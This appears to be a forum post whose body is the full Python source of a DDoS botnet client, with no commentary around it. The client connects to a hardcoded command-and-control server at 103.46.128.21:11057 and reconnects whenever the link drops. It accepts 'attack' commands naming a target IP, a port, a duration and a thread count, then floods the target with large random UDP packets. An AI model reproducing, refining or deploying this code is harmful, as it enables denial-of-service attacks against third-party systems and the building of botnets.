用户:
西顿工业查看:28 回复:3 评论:28 创建时间:2023-02-03T17:24:40
from threading import Thread
from time import time, sleep
import socket, signal
import sys, random
from typing import Tuple
class Client():
run=False
def __init__(self, connect:Tuple[str,int]=("103.46.128.21",11057)) -> None:
signal.signal(signal.SIGINT, self.exit_gracefully)
signal.signal(signal.SIGTERM, self.exit_gracefully)
self.stop = False
self.run = False
while not self.stop:
try:
self._connect(connect)
except KeyboardInterrupt:
continue
except Exception as e:
sleep(10)
def exit_gracefully(self,signum, frame):
self.stop = True
self.run = False
self.sock.close()
sleep(1)
sys.exit(0)
def _connect(self, connect:Tuple[str,int]) -> None:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect(connect)
self.start()
def __ddos(self,*args):
def dos(*args):
t1=time()
host,port=args[1],args[2]
s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes=random._urandom(10240)
s.connect((host, int(port)))
while self.run:
if not self.run:break
s.sendto(bytes, (host,int(port)))
s.close()
for n in range(int(args[4])):
Thread(target = dos,args=[*args]).start()
sleep(int(args[3]))
self.run=False
def _recv(self):
return self.sock.recv(1024).decode("ascii").lower()
def start(self):
while True:
data = self._recv()
if "attack" in data:
data=data.replace("attack ","").split()
try:
proto, ip, port, sec, workers = data
data = proto, ip, int(port), int(sec), int(workers)
self.sock.send("done".encode("ascii"))
except Exception as e:
self.sock.send("invalid command".encode("ascii"))
continue
self.run=True
Thread(target = self.__ddos,args=data).start()
elif "喵" in data:
self.run=False
self.sock.send(str.encode("Server Stopped"))
elif "ping" in data:
self.sock.send(str.encode("Pong"))
else:
self.sock.send(str.encode("ERROR"))
if __name__ == '__main__':
Client()